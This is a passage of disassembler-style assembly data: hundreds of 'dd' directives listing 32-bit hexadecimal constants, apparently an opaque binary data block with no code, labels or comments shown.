		dd 0C2B0D669h, 0E68B7F59h, 8106B070h, 6BD30E10h, 0E1AEDFE4h
		dd 81027189h, 0CD5C2751h, 7F33D866h, 5FD92553h,	47BACBC1h
		dd 0E58D8443h, 81C37CA4h, 765565E4h, 0E07AD8C1h, 0CA1D9AACh
		dd 0A6EE7946h, 5F0D252Fh, 0B5895780h, 0F2294A01h, 0BD0B040Bh
		dd 2B31329Dh, 4AA0A7C8h, 81CF5604h, 0E91B91E3h,	72BF1084h
		dd 504717E4h, 0BD0617F8h, 0BD03043Eh, 20AE15FDh, 3A52BBEDh
		dd 5865EE31h, 0E462AA5h, 19610946h, 86045312h, 22B2B9FFh
		dd 0E9F5130Ch, 1A4FB24Bh, 579728F9h, 6C7DBB62h,	0F0FE0054h
		dd 0BFAF7E5Fh, 5B79FF01h, 74314112h, 2422B9E2h,	0B955A3B0h
		dd 41A5FDC2h, 6E8BFE27h, 0FE045689h, 12BE6D1Dh,	0F3B818D5h
		dd 69DDF8A1h, 2CE4E898h, 11D594FEh, 8B60030Eh, 8070D95h
		dd 0C798579h, 0D8566112h, 5CDAC3C2h, 5FD3E975h,	4E1A550h
		dd 0B5B9B10Ch, 0A8B30509h, 70DBC709h, 66E69D41h, 0D59D3138h
		dd 0C1F4F682h, 205313DCh, 0B720AF8Bh, 7C193FEh,	574B303Dh
		dd 4CA86024h, 0F3006D51h, 0C4CD4543h, 944D9529h, 9E5F1844h
		dd 0C04A2BF8h, 0E81EBDBh, 0F02A5A6Dh, 909FC927h, 7AD97881h
		dd 99431F2Eh, 2D9D473Eh, 118E90CEh, 3838E476h, 0F99092ADh
		dd 395B2CE2h, 0D4717A30h, 11D8128Ah, 0B754257Bh, 17F9047Bh
		dd 993AD018h, 6ABB12FDh, 429B409h, 0D4A4DDF4h, 2F8D25BDh
		dd 2A9E4BCCh, 6AAEE540h, 0BEAF00F7h, 48683ED6h,	42708156h
		dd 1763413h, 0DA2AAADDh, 24BC923Eh, 7957DD4Ah, 9793A81Eh
		dd 0F9A55015h, 0CF40091h, 413722DAh, 5AFA281Fh,	0A44E0791h
		dd 6D2C7A8Ah, 42005E0Eh, 295B5F60h, 0EB9A958Dh,	56C66A56h
		dd 31EE9541h, 3A97FAEEh, 508ED333h, 0C60194F3h,	6B4D2DC2h
		dd 0E63AE1FFh, 9B4E0D2h, 3179259Dh, 0EC104EC7h,	0A0CEF6D2h
		dd 0F0D268Bh, 0B13ED15Dh, 1F4FA4E5h, 8A4B3DA1h,	31D1225Bh
		dd 0AB4712E9h, 9272E857h, 9C82F40Eh, 2E42030h, 1243A85Eh
		dd 0E2C2A6E8h, 0B4778D66h, 0F0F0A66Ah, 167CF98Ah, 0F20D8B0Fh
		dd 0F2852DCFh, 0CBBE035Ch, 61353FE8h, 0E3FBF6ECh, 0D02580D9h
		dd 14299541h, 0EB4A7989h, 331E7256h, 5E32C949h,	5E564902h
		dd 0ED3258DCh, 74C23700h, 97139A3h, 219527h, 1DE9BB1Bh
		dd 925E4BD7h, 0B51A5C6Ah, 0A3BE9228h, 9D0B13D6h, 0BD3156FAh
		dd 5FA9D2A0h, 0E272BA8h, 79D150D6h, 0E910B7DFh,	0F0009435h
		dd 45552A15h, 0B6DCAFh,	0C9A0FF60h, 0DFE6FDFh, 990A50Fh
		dd 778232B5h, 5137576Ah, 0AE3DBF80h, 5A2ABB2h, 8529066Dh
		dd 0AB0BD49Dh, 9750DB28h, 0AD0B56E0h, 1D5F5B3Ch, 0FEE2820Fh
		dd 0F4099852h, 0F8D8C331h, 79CE585Ah, 265CBB07h, 0C7DA51EFh
		dd 395B2Dh, 0B4296227h,	0B9F8A6F8h, 5D70D378h, 48BB4DC3h
		dd 5F4E294Ch, 0C4B30CACh, 4E95FA5Eh, 9DB595D5h,	0C681200h
		dd 9FBB8AEEh, 0C5922B53h, 892D85FCh, 0BDF8B973h, 8C0F2912h
		dd 2655082Fh, 293E91Ch,	4A7B44EDh, 0D306F229h, 0F204946Bh
		dd 0B857E11Eh, 0B5B3D211h, 7B636E4Fh, 8EE85B12h, 0C5D0D8BCh
		dd 0D2B1CD4Ah, 0A60A77E6h, 0FAA9A7CDh, 96133300h, 2841891h
		dd 0C421B6CFh, 0B08B92D9h, 0A580675Ah, 0BDA93D9Dh, 0C1742E61h
		dd 69A1EDF6h, 6BA0F78Bh, 7303FB1Fh, 89DAE780h, 16A1306h
		dd 6251A703h, 5C07D590h, 8D7B49C9h, 1A73070h, 34DFE812h
		dd 0AF3DBD29h, 201841C9h, 0DEF1C204h, 1F968EF0h, 0D7F205DCh
		dd 0FC105A13h, 96052021h, 0A1510E24h, 2915CF80h, 18977525h
		dd 24B068D7h, 12DD6680h, 4FA5E0F9h, 0DE79833Ch,	7902796Eh
		dd 88C04C09h, 53D37063h, 0CBDEA16h, 0FEB45CE8h,	3604276Ah
		dd 0AF0EBB6Ch, 7334182h, 0D98AD190h, 759B3C5Bh,	0F49966F3h
		dd 296F12AAh, 0A8163929h, 581A1490h, 0F204C15Eh, 0EAD1809Ch
		dd 7CB79620h, 0B01C2643h, 68BD6081h, 0E60084C1h, 0E59F4E8Dh
		dd 2F9B7CAFh, 2AD8615Bh, 1AF30C4Ah, 0DD6FD3h, 0C6DBB8B0h
		dd 0E83F9C1Fh, 0A1604F0Bh, 467B4967h, 614B0DC8h, 2938398Ah
		dd 0C15B9570h, 34746178h, 0C01522E9h, 4ABCBB2Ch, 0E7F95F25h
		dd 7C877405h, 7C1C19E2h, 4BA6407Fh, 6E0B14BDh, 0B762340Ch
		dd 0F3DC8427h, 0AC08BF20h, 0B389270Eh, 5E423471h, 0D012FB04h
		dd 491955Fh, 1F043462h,	0E0801D11h, 3390188Dh, 54ADE904h
		dd 0EE817971h, 9B2B140Dh, 0C01AC8BCh, 5FEF8F22h, 8E5E6776h
		dd 0A2908F04h, 9A5675AFh, 0C1FBCF1Ch, 0ADC246E5h, 0F25A4E3Ch
		dd 6AFBF476h, 6492000Dh, 522B3DAAh, 47D70081h, 5F758ABCh
		dd 0BF3E5196h, 0CD04BBD9h, 1ABB0F82h, 0E381A012h, 563DCBD8h
		dd 0F15EA51Ch, 46362E68h, 5AD846C0h, 5E89D79Bh,	15F53261h
		dd 61F64504h, 66C161BCh, 2F4448BFh, 178C6335h, 4C3400E6h
		dd 0BCF13FBDh, 7513DBDDh, 35FA81F8h, 0C276533Ah, 0D7735F52h
		dd 2748B5A7h, 23027174h, 0D71D219Dh, 9901BE4h, 91041095h
		dd 905C8213h, 8AD38004h, 6E5A66BCh, 360301D2h, 0EC34C62Eh
		dd 0F926DC2Ah, 342E2541h, 0DBE292h, 0AB8EA803h,	3E6437Eh
		dd 8FBABF42h, 0D5A0ED77h, 0EB120E66h, 75F34CE7h, 0F290D95Eh
		dd 19C43792h, 0DE8AC8C4h, 6F2EBB8Dh, 936A0007h,	3326198Dh
		dd 0E1FF01A7h, 0DC2F75BFh, 0C9377C57h, 0D9F150h, 39E5D911h
		dd 37764A93h, 19D41300h, 0FE0BD3Fh, 2BE4978Ch, 0E678A600h
		dd 0EEABDE39h, 0ED4400EFh, 2F3DC619h, 9A121857h, 8401260Fh
		dd 5F5B8F65h, 2709AF74h, 5BE4D19Dh, 1FB7645Eh, 7D2291B4h
		dd 0EA73B13h, 70784BA1h
		dd 0B4AA9DAh, 5E8886F3h, 65520B9Fh, 60BA4853h, 28A26BCh
		dd 7E96132Eh, 0BB605000h, 9557EE4Eh, 5FF02423h,	377796B2h
		dd 214E079Fh, 32C4C02Ch, 401AC94Bh, 5AB6509Dh, 0C85B4E41h
		dd 9400AAAEh, 95E6DCBFh, 55E59D91h, 7B3FB6A5h, 5BD10011h
		dd 0C2E5E8D8h, 0A6C02F4Ah, 274A3B78h, 0E2F07521h, 0ED72742Fh
		dd 156A870h, 0DA96EADEh, 8536BB74h, 0B2F9EB5Ch,	29216327h
		dd 0E23ADDBDh, 0C0853C1Dh, 7EBA9761h, 1B61E96Dh, 292FF0C2h
		dd 0BD7DFA70h, 92FF804Ah, 83ABD99Fh, 0E935D504h, 6BBDF98Bh
		dd 26A6BD6h, 0D88A132Eh, 5F5602C6h, 7D7A4C5Eh, 3F894535h
		dd 0EDC682FFh, 71E90226h, 0E4CF0BDDh, 3F4FE0Ah,	0D3472AEFh
		dd 0D7E0DAF0h, 463AB9BFh, 0F29C04AEh, 9A82D6Dh,	0E0DFB64Bh
		dd 27C8D57Ch, 38FE83CCh, 2CD3C06Fh, 0F766E0DEh,	0EE0A8929h
		dd 21D6B58Eh, 0E9245C01h, 9880F8EBh, 0B11D96C6h, 0FC80BDB2h
		dd 0BB179CBCh, 2260A971h, 6E2EA57Ah, 80C30020h,	6FF75BD0h
		dd 0C82664EFh, 0FB1FC07Ch, 4265EEC0h, 86980Bh, 0FA30F6EBh
		dd 0ABBE6CC8h, 4103EDE2h, 79D55EFEh, 862AD8ECh,	0DA9300C3h
		dd 286EEE76h, 4F00093Dh, 3BA864E3h, 584DE7h, 0E04C593Ah
		dd 0ADE4F161h, 0AB6A77E4h, 3400191Bh, 0E37F0372h, 789103D4h
		dd 382D6BEBh, 3E0AA690h, 0DC951E1Ch, 0A43FBBh, 56CD19C3h
		dd 38C39C5h, 0EEA73A57h, 0F1CA17Dh, 2B800A1Fh, 0D791C187h
		dd 8151C47Bh, 757380BFh, 0ECB06AEAh, 3CA9538h, 67DA479Dh
		dd 59380EF4h, 46A05428h, 0F6015D21h, 69E27207h,	0D63080C5h
		dd 0B6CC086h, 0D7C284D4h, 0A406B4C0h, 6F7A7AC7h, 0E9413327h
		dd 1480A315h, 0ECAA9E8Bh, 13C7A07Fh, 0F960A2DEh, 383BA98h
		dd 6BF8B1B4h, 1E02AF97h, 0D281C09h, 0A9F1A56Eh,	0ED6DD406h
		dd 0A15897BAh, 2F54F3E4h, 840691A0h, 9765F6B0h,	8EC71C13h
		dd 74324122h, 0A2CC8CD8h, 3F0DD73Ah, 0FCEB770Bh, 0E4B8F0F3h
		dd 881063A3h, 751201C2h, 1B0ABE66h, 3D00C0EFh, 7A4E5B1Dh
		dd 0C19101D6h, 3C1C2488h, 62E2E808h, 5AFA4B1Eh,	2B47BA77h
		dd 0E676CE90h, 94AE15D2h, 391CE005h, 8E8EFE2Ch,	4340DDC8h
		dd 96C45BE7h, 5C5DD213h, 92C06B1Ch, 0B02669Bh, 0C2E901Eh
		dd 77DB9DBDh, 370926F8h, 5F74Bh, 0B2F46426h, 0EA3414A7h
		dd 56009DDDh, 10D2D1C9h, 1903C484h, 0CB94380Ch,	99AC808Bh
		dd 53FF00B9h, 0EC6CFB12h, 0CCA0BFAAh, 51480140h, 0FEEF8094h
		dd 90C082h, 3BE97509h, 5C7ED7A4h, 0B8A2CD01h, 465FD08Ch
		dd 0BC869843h, 0A5BE2240h, 26E4FCB5h, 44C4DC54h, 23655100h
		dd 0E0A6B68Fh, 9ED7991h, 0D65DFD46h, 2F691200h,	230EF966h
		dd 0AE088218h, 0FC46E06Fh, 4AEDDBh, 7DC76B5Fh, 2C379BDDh
		dd 1FE3700Ch, 7281EEADh, 0C6BFE94h, 6AB427DBh, 0C372D619h
		dd 4539900Fh, 0B2CE20F9h, 6298E9B0h, 5FDDB6AEh,	63207924h
		dd 970A5220h, 0E66E9591h, 54CA5500h, 1B793B9h, 0F1DCDE2Dh
		dd 204C4303h, 0B53819CBh, 40E980AFh, 0CC97223Ch, 3D8F0006h
		dd 0E272FE0h, 3449901Bh, 23C8923h, 0A164BB6Ch, 0DC661A8Fh
		dd 0D32084E5h, 0B74B32D8h, 2E40291Bh, 0F62F354h, 200672B2h
		dd 82D2973Bh, 0BE12B600h, 5DF1B7A7h, 0E480008h,	4BBF2069h
		dd 0FA01B26Eh, 0D9ED7E8h, 8B454FF1h, 324ECC00h,	1CC89930h
		dd 804A0388h, 331ACC9Ch, 0A7D5835h, 2EFE8530h, 4871EEFBh
		dd 5F00E254h, 33685C2Ch, 5B00AB84h, 86DFDA48h, 0FF19390Bh
		dd 0E84CD346h, 0F36300E6h, 794A0B5h, 33711110h,	0BD2E6700h
		dd 30FB1A61h, 0FECA07DFh, 0D0CB8D98h, 0B0F972E2h, 0F2455E4h
		dd 8F0CA14Fh, 0ED2D73h,	0E560CCF8h, 5DA33C75h, 9D010EE2h
		dd 30FA8881h, 40F4EAFFh, 291D032Ch, 0BA20FC6Fh,	2B571A02h
		dd 60C58017h, 0B813439Ch, 0BB7E0981h, 0E628FB4Ah, 20A2659Dh
		dd 84D802A5h, 3463B909h, 0F6E820A5h, 389E676Dh,	0CD00115Bh
		dd 0DFCE889Dh, 8509FA3h, 4F725AEBh, 2B374B00h, 0CB8BD579h
		dd 0AC98388Dh, 9E154500h, 0E0D47DC2h, 35F8BD13h, 495C3342h
		dd 0DE8FA24Ah, 4A968C2Bh, 28DCE406h, 98821E42h,	9DA903Bh
		dd 34243C90h, 6FF0E510h, 4BBA6409h, 80AD09DCh, 57F8676Dh
		dd 31BC051Bh, 80B01C9Bh, 0C5F1E485h, 9ADC6939h,	48C0DB7Bh
		dd 62F22Ah, 0F5493524h,	41DD4E07h, 90764261h, 0D80FF03h
		dd 7127461h, 0CA039F33h, 0FC5D018Ah, 79CE1C1Ah,	0DD002038h
		dd 155C4F49h, 5BDC86h, 11048891h, 0B4B2C758h, 872E4539h
		dd 627E8013h, 0F7E2BAB1h, 6DB1D6C9h, 70691515h,	207583C0h
		dd 7088FA00h, 6D780891h, 97F232E6h, 0AC3566Fh, 0F64CE0F0h
		dd 0AB206628h, 455D5A24h, 3D139005h, 940A801h, 6DF889Ah
		dd 22B1F8CAh, 55FC0FE0h, 981FDFE4h, 0C5027F91h,	465D3B0Fh
		dd 753C1609h, 8A2000D9h, 2B3E1E26h, 67B31F26h, 443EF02h
		dd 0B5CB6054h, 3CF448D4h, 0C39FE300h, 0AA213134h, 0FEC2F124h
		dd 0C80F3F96h, 31093362h, 0C3570099h, 4E5882h, 0DF60B502h
		dd 7B6E283Dh, 0FDE827E4h, 1C062100h, 0BE8A9F3Ah, 11540BF8h
		dd 80000741h, 9C283BB6h, 6B3A7A00h, 7F1F235Fh, 1949038h
		dd 0BA41B7AFh, 0DD243132h, 3B34200Bh, 3056A826h, 0C300CA92h
		dd 0EE721083h, 8E320FF6h, 0EC8B54C7h, 23367883h, 92C07092h
		dd 0C60080D0h, 74E47FD3h, 0B0132732h, 2451E61Ch, 88C84701h
		dd 4B0F6ECh, 4C78CD61h,	0D10240D8h, 0C5594B12h,	59AB1E0h
		dd 0F300ADE8h, 0CA0E5CBh, 75622434h, 42320070h,	0A2D44DD1h
		dd 0A672B3E9h, 27262FB8h, 37AC921Dh, 13F85939h,	203072CCh
		dd 508481Ch, 85B1A1A4h,	0C0CF8429h, 87CE8ED7h, 0CA36183Bh
		dd 8380B2C4h, 79136F08h, 73F1004Fh, 84B0A5E3h, 3D001D28h
		dd 3060FFB6h, 7548716h,	89251178h, 309387BCh, 58FDDDE4h
		dd 0A8044D01h, 0E9FCBA9Ah, 0E26A4F61h, 412B008Dh, 0B4A4BEE5h
		dd 0B5E00F2h, 0A3A10D4Bh, 590EF5B3h, 0EB0F4909h, 5A5B85A0h
		dd 0F7BC0818h, 4A0A1F5Bh, 0D831F00Ch, 1F698C68h, 3CAA7E5Ah
		dd 87D2014h, 5036BB84h,	0CB8125A7h, 14123CE8h, 3580BA80h
		dd 0A6B8039Dh, 0AFC5701h, 835AD031h, 24892C8Dh,	1D4EA038h
		dd 53515E00h, 0AB7EE8BBh, 0E0B9303Ch, 5BD9310Bh, 89F1011Ch
		dd 768B59CCh, 51E0EE50h, 5132005h, 5C581887h, 835828FFh
		dd 0E90FC47Eh, 67FC167Dh, 46D1100Ch, 0E8E095B3h, 0E86B4B19h
		dd 92B880D5h, 96167h, 0E0FFC503h, 623646FAh, 0F9CE2900h
		dd 21687C63h, 604D0723h, 10E40FA9h, 2C493265h, 0FA757D07h
		dd 41105C8Eh, 7D7AB7A6h, 0F37015h, 5997D981h, 64C49B87h
		dd 0D5771900h, 2CDC3870h, 69880023h, 6FBE50C2h,	0F90F1E86h
		dd 806EFD4Ah, 0A94E620Ch, 68EC0E78h, 5B8057C3h,	72F58A28h
		dd 0FCCD7C03h, 9F6F4247h, 9252ED40h, 77970023h,	71EF2728h
		dd 0B7004EE0h, 35315D11h, 0B1CEDCBh, 43DDEB53h,	0EABEF85Ah
		dd 625B09F4h, 187FDE8Ah, 5E38139h, 68161F5Fh, 3A15A850h
		dd 310F13B7h, 5ADF32FFh, 2286157h, 6192B610h, 6BE76F9Dh
		dd 7E2552DBh, 6F1214D6h, 0B9A1875Ah, 164CF354h,	0B19D2F33h
		dd 0AA470854h, 0DBEE61B4h, 0A96FC02Ah, 1F3AE4A8h, 0EDF20108h
		dd 295425C2h, 0C06904DCh, 0BF02B2CFh, 0BF50FE00h, 54EEFD3Fh
		dd 5060947Eh, 9C6A9BB4h, 6101DEEEh, 0B509036Dh,	0BA040C1Dh
		dd 7DA19485h, 0AC3754ADh, 739E0339h, 102F5274h,	5A06695Eh
		dd 15C835DAh, 507F58C1h
		dd 72F9CFF8h, 5F742F6Dh, 318D7802h, 0D5F43A7Dh,	4759450Bh
		dd 86F890AFh, 0B7C5398Bh, 0DF660480h, 18204A22h, 0EDD1FF27h
		dd 0D339E06Bh, 8B3B60E2h, 4D015A8Dh, 26DD852Bh,	9DBD3110h
		dd 7F396EF5h, 1B65F56Ah, 9F05C48Eh, 7AEB7494h, 5B853AA4h
		dd 92F96FE0h, 5E807B33h, 0EE1934D8h, 10E90707h,	624B715Bh
		dd 5E0B6AB4h, 0FB181266h, 0BB1F917Ah, 99DEA7E2h, 39E25266h
		dd 0D8B25BFBh, 455FD98Ah, 74C5503Ch, 80629C03h,	0BD549A67h
		dd 8115E4B1h, 0E9E1D6F6h, 0CE223F1Bh, 9A27E02Bh, 80A90237h
		dd 0A2513BA4h, 0EC1D59E0h, 0F99731B7h, 0B524011Ch, 66AD2751h
		dd 0C1D9EF74h, 74F6B049h, 1600DC51h, 80FACD4Bh,	9F60E0E7h
		dd 9454571Ah, 0A579D440h, 692A09F1h, 0B0862324h, 89BF891Dh
		dd 0C82FDFB7h, 317109D2h, 625128DCh, 0EEBD8B11h, 60136EDCh
		dd 9D2EBECh, 1C03CF75h,	5D5B17C1h, 207920E8h, 0F91305E5h
		dd 0A8A370E6h, 0CA7FBC4Bh, 0FE183230h, 9D0C6548h, 0F82738C4h
		dd 6EFF46BAh, 0C1C1C32Dh, 0CECABF66h, 6E2D52DCh, 0B723F6C6h
		dd 0B6D95812h, 0DA4A5C00h, 0E8178970h, 0D5FF003Bh, 9CB7C82Bh
		dd 8DF8D18Bh, 810B512Ah, 0DA9DE15Ah, 0FBBFECh, 5679D7F8h
		dd 2D996040h, 0E595921Dh, 1D858B02h, 466CDC26h,	6D9008FCh
		dd 137F5648h, 20FE59D2h, 7F99A258h, 0B307E6F4h,	0DF96A9B5h
		dd 7A588670h, 1A1EC3Bh,	5192AEDDh, 3F615F59h, 5BFFBDA0h
		dd 4082928Fh, 890CE328h, 8485B909h, 1A0C44h, 0FD492175h
		dd 38C47AB3h, 0E72F0D0Bh, 1CE6460h, 8C20FED8h, 40E86B70h
		dd 8F289C79h, 4A847500h, 6FC7A872h, 0BD9A0376h,	0FC8A476Dh
		dd 48E89A4Fh, 0E2DA96DEh, 0B53F22A6h, 85291198h, 282AD520h
		dd 4A1DA583h, 0CDF2FEh,	0B42146C2h, 3C50F5F0h, 6885638Eh
		dd 10C439DCh, 5899B4F1h, 81531008h, 427B2EDFh, 0E65B16D9h
		dd 0EA1013C1h, 7FAD3A17h, 8E2441B8h, 0C22C9C89h, 0ED084A6Ah
		dd 0E511829h, 5F8107B1h, 3BB306Eh, 0B1C4C99Dh, 604F36B9h
		dd 0D3CA8D8Bh, 2A9DE241h, 61594390h, 837B0BBBh,	0B2704CDFh
		dd 0C35D4DB7h, 62E70580h, 32CDFC64h, 60ABB7E1h,	0D6002623h
		dd 2B078195h, 9003C753h, 914DA328h, 0E9C0CB61h,	72DC5FF7h
		dd 40BF0507h, 0B8630C9Ah, 0DE75B86h, 0C46743A1h, 772A865Bh
		dd 0B120C5AAh, 959EB523h, 0B12F4390h, 0D078731Eh, 65387F62h
		dd 3F70049Eh, 0C9FF014Ah, 35F7024Fh, 557E12F7h,	0F9A77B3Dh
		dd 3D64947h, 1C46D6h, 0EEFFAEE0h, 26F279FBh, 8B1F6DA4h
		dd 0B373ABCEh, 517E73A7h, 0EECD2FF8h, 745C701h,	36BB6600h
		dd 0B9E2965Eh, 0B75FFEF2h, 0BB803B9Ch, 21556E8Fh, 0B4F5AA9h
		dd 396B8CB1h, 4A64B8C9h, 0B503906Fh, 0ACE0A447h, 6EF88B99h
		dd 6CC2E924h, 8CCB2E09h, 2FF88D31h, 0BD0884A6h,	4431227Dh
		dd 0DB7FE1FFh, 3BC19CCEh, 1095BD09h, 0E3DD386Eh, 652BCF9Dh
		dd 90788C76h, 0EE12A500h, 28F6EFF0h, 0DB8C0259h, 0E6A80BFAh
		dd 0C151E4DCh, 6E7B3Bh,	0AC2B62C9h, 0F323E0C1h,	207F4DD5h
		dd 8689F1C1h, 710A0500h, 0B5BD03D7h, 6AC79D33h,	5B044709h
		dd 22BD0A2h, 2EB3AB12h,	80DB31AAh, 5360F4F7h, 6516A592h
		dd 0D9E15B79h, 0B8B8822Dh, 0B0280702h, 0DC40023Eh, 0BE526F5h
		dd 0F7DC113Dh, 0FC52D564h, 40708F6Ch, 0CF16A764h, 96480028h
		dd 3ABB5068h, 542D04A2h, 98CE465Fh, 78A6F08Bh, 0C61AB762h
		dd 9DA3C0F7h, 23508024h, 6AB18D26h, 90615E84h, 5B8033ECh
		dd 0ED597BC4h, 803A1C3Eh, 0F3A00965h, 9A9D24h, 0BB576C92h
		dd 53E581Eh, 4505B3Ch, 905FDE8Ah, 0DA6EEEh, 70C889EBh
		dd 249335F7h, 0A5AB07C6h, 7600EBE4h, 0C954A55Ah, 167D05Bh
		dd 4015666Ah, 0F4E6ECE9h, 0BE04B0A8h, 10E85051h, 0D9AD8C40h
		dd 3F0796C9h, 0A02F7090h, 9AFDC680h, 0F9581C72h, 0BD6A535Bh
		dd 7DE2BC88h, 48511637h, 0A204BE19h, 60023289h,	0E55D8A0Fh
		dd 26B20021h, 4C47CD46h, 0CE001BE8h, 9BC9940Ch,	0AD86AB9h
		dd 0CD850958h, 0F26196DAh, 0E2339634h, 6287F08Ah, 508925C9h
		dd 0DA64E3F4h, 5E22EB12h, 6E2D2012h, 0B3E6854Bh, 5BA3D00h
		dd 0F37606F6h, 0E2960922h, 9BD755D1h, 0B30C10C6h, 30892929h
		dd 0DEE7DE25h, 272BDB00h, 58B449B6h, 11652DE8h,	98B92966h
		dd 1C8CEC00h, 500DEBh, 84CC9BF6h, 0C1043C83h, 23CE0800h
		dd 0BF8FABE5h, 7BD50BC7h, 44795B2Eh, 0C4B1C7A0h, 18CE905h
		dd 0FC7AFEh, 2CB6800Bh,	19E67653h, 0B489FC1Fh, 452D6F14h
		dd 226A3Ah, 3B035060h, 1848E3A6h, 0C0F81CCBh, 72831781h
		dd 0F2134E6Eh, 0FAE6D306h, 2C4A86A0h, 4502877Bh, 698531FEh
		dd 3BB772Ah, 1ED58DE0h,	0E449EDBDh, 0B3A9611Ch,	7E9F30h
		dd 13C697BEh, 0C719D8Bh, 0FC06E1C5h, 23656BFBh,	62020118h
		dd 6FF4C5F6h, 8DC94B1Ch, 9672C141h, 8827127Bh, 1203D13Bh
		dd 3FC3E662h, 7E94F8A7h, 0C02907F6h, 960F968Fh,	0F55B2B01h
		dd 9350CCDh, 0CFD044CDh, 0DD8000Eh, 89EE6826h, 8BB8FD0Ah
		dd 0A7BCD071h, 147A1103h, 3DF01603h, 3EF5E71Ah,	2BD91623h
		dd 1D66D6E4h, 0A7DBABBFh, 29786EF3h, 32D12085h,	0D09E0F76h
		dd 8AF56081h, 987E61DAh, 197AE7EEh, 1BD37B5h, 0EF095A82h
		dd 51537029h, 90002F41h, 5B1C2E23h, 4ECA8B18h, 72335E20h
		dd 689303D7h, 814C6147h, 9CA5CCB8h, 0A7CA105Ah,	0B67E5225h
		dd 299B0BF6h, 3398DFF3h, 0D078C2Bh, 79FC145Bh, 7BFB3DC5h
		dd 0FCD52E08h, 0DC233D09h, 814077D9h, 13BA82F3h, 0E6F839B5h
		dd 0CFFBE0C8h, 0BBC49547h, 0F4451800h, 3B23E42Fh, 0B9570586h
		dd 0B86C5F6Eh, 2F53A2BAh, 2481491Fh, 6BF91C7Dh,	0FE6D2740h
		dd 0CE1965C0h, 480A0462h, 0C17775E8h, 52779AEh,	9A3ACBA1h
		dd 0C014C828h, 1060BBECh, 0C6619B2Dh, 1D6CC59Fh, 3270EE29h
		dd 1665F781h, 0E70B96DEh, 0AFA64B81h, 8DBBB0A7h, 0F9B596D1h
		dd 9503AD10h, 0BBE071B3h, 3F29E705h, 3F247633h,	44C5D513h
		dd 9AB275EBh, 0C2F3C0E3h, 3F4B658h, 0C7BC7346h,	3A916DBFh
		dd 0B67E5542h, 0DA73F039h, 870F21AFh, 0DF01BF01h, 513814FCh
		dd 9A7B3D6h, 0FF71BD01h, 0A959192Bh, 23372Fh, 839FFCD2h
		dd 0BD2F33F8h, 5D51C291h, 1B6405EDh, 0C171FA64h, 1AD8ECBFh
		dd 0A70BB75Ah, 292DE3E6h, 0D620EA95h, 0BE7027B0h, 0B78994B5h
		dd 66165237h, 0D0D86005h, 0BED105BAh, 4F95B8A9h, 6BC0AFDEh
		dd 3C63B023h, 0A8AC6404h, 0DBEB6AF1h, 7EB0C026h, 218CD0FAh
		dd 102D9589h, 259BFCh, 0F2E2D1D9h, 56FDEABFh, 0FEF0B2B7h
		dd 29F9C234h, 702C657Dh, 0A2000875h, 0D4B2211Ch, 0BAB04FEh
		dd 1A7DB529h, 0C9206CFAh, 0B496501Eh, 500C3B40h, 842EDB5Ah
		dd 0BCCC5603h, 216400DFh, 15C0EFEAh, 0CD1E7F3Ah, 6093F666h
		dd 2844375h, 5B538961h,	23D76B6Eh, 8E79001Bh, 91EBF02Ah
		dd 0EDBDB3FAh, 0F6F92F5Dh, 0B1BD2B84h, 204FFC53h, 8A961724h
		dd 35D8A0D9h, 0A941778h, 401F0FDCh, 0FA722393h,	9F5338h
		dd 0BD349D06h, 9511FF97h, 864EE204h, 2B2981CCh,	0AF01156Ah
		dd 78BF10BDh, 0D6B32B60h, 0FBBF0FC1h, 80763861h, 0AE1265CBh
		dd 8D5400D9h, 0B4AAC5C4h, 610196E3h, 0C157DE0Dh, 6B6FDC99h
		dd 11B23D3h, 3679F764h,	66CA7014h, 0D81682B7h, 0EBD4DC9Ch
		dd 9250EFFBh, 58AB87Fh,	0E3801F82h, 0A2DAB8D3h,	0B4592B3Dh
		dd 0D91BA3ACh, 3DC4B727h, 166B53F1h, 0B85BE9A1h, 3E050132h
		dd 0FB617C9Dh, 2B57D689h
		dd 69C7592Fh, 82529A5Fh, 225F1DAh, 0AFDC16E9h, 0C0946D2Dh
		dd 0F2D38964h, 806D6621h, 2EB18851h, 8B279B8Fh,	739E73C1h
		dd 5188BEF4h, 16B303D9h, 715D6D23h, 17A04D80h, 0CFEFBB50h
		dd 5B5B7DEEh, 0F62E63E1h, 0F2844B93h, 3646EEBh,	2150EEB2h
		dd 0E31EF09Eh, 81B73E40h, 42149C3Ch, 8526A40Dh,	645765AFh
		dd 9933BFB3h, 0D220405Fh, 81214005h, 3D17C706h,	74B27BF0h
		dd 0B9614B7Ah, 3D06BC24h, 4102C4DAh, 4D5BD29h, 0A63F445Fh
		dd 44A607D2h, 20B09DAAh, 92BF90CEh, 4203F412h, 28FC30FEh
		dd 3512A147h, 23FC901Dh, 0DC4F9674h, 3384FC0Bh,	1263DC9Dh
		dd 2C3CA226h, 13F696D9h, 0EC446BFh, 37E980BDh, 74081218h
		dd 323C1100h, 238C41B3h, 90DCE863h, 0BE6995BFh,	0B343A5Bh
		dd 0DBFBC301h, 0DD7B7DE6h, 0A2987665h, 0B45DC694h, 8C5200C2h
		dd 0DD17F20Ah, 66A7F400h, 30E781C8h, 78530073h,	0BD23D1FFh
		dd 9C970F0Dh, 3C5045D2h, 26A1352h, 2D8BA29Bh, 1E756CD8h
		dd 2605030h, 0E6D38B61h, 0A05BA3E8h, 7945D4AFh,	5FBF0F48h
		dd 90E0BD77h, 58CB8B23h, 809AA19Dh, 2F7671C7h, 0DCDE909h
		dd 8462D079h, 0F9C6097Bh, 703CD39Fh, 0A1284B5h,	0C2F7B0DAh
		dd 0A0AAB65Ah, 69CC49Eh, 0AB764E92h, 7D4F9E86h,	3584EAE8h
		dd 40961028h, 0B129FEBEh, 70258080h, 0F8174047h, 0FDA8B297h
		dd 7BA3D6E1h, 148800DBh, 20BF23C4h, 0CD8681E7h,	0BB3B67EEh
		dd 24D382FBh, 0F73B4A53h, 31BA01BBh, 4034BC1h, 338DA9C1h
		dd 806FDE2Bh, 0F615A49Ah, 945E0F96h, 2923B443h,	5707399Dh
		dd 8A98FCBBh, 11C17BD9h, 1D974013h, 7DAE028Ah, 0B670092Bh
		dd 18406DF0h, 0BF7038E6h, 17343989h, 1DD904F5h,	0F871E402h
		dd 0E798BB5Eh, 0BDEBB9Fh, 34421CCh, 2E79B00Dh, 0B352BE0Bh
		dd 416638C9h, 0BB1E5F40h, 42525CFEh, 107CD0F2h,	9229ED85h
		dd 0E1D249E8h, 3423D2h,	57BF5544h, 17962028h, 2DA68D0h
		dd 5BA7B7EEh, 105DA5Eh,	59A03585h, 30C8482Bh, 0BE684D25h
		dd 0E924F9D1h, 14621983h, 2919E1AEh, 0D84B238h,	98C6BC0Bh
